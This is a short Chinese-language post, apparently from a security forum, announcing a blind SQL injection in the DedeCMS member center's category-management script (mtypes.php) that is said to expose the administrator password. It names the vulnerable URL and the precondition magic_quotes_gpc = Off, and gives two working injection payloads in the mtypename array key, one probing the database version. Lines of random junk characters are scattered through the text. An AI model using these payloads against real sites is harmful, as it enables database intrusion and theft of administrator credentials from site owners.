DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

" Q: ]6 @  j) M# r
. d: r* b. e2 N发生在数组key里的注射漏洞,有点意思.
% `4 x8 @" d! z" B  g
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
- K+ p; c, ]! n' O) o7 }
http://www.xxx.com /dede/member/mtypes.php?dopost=save
, w4 }  Y8 R( J
/ ]% Z* \6 n" a( `* A/ jexploit:
3 p0 L4 a- s) ]. Qmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
; ~7 z% z9 O, B( x* M0 |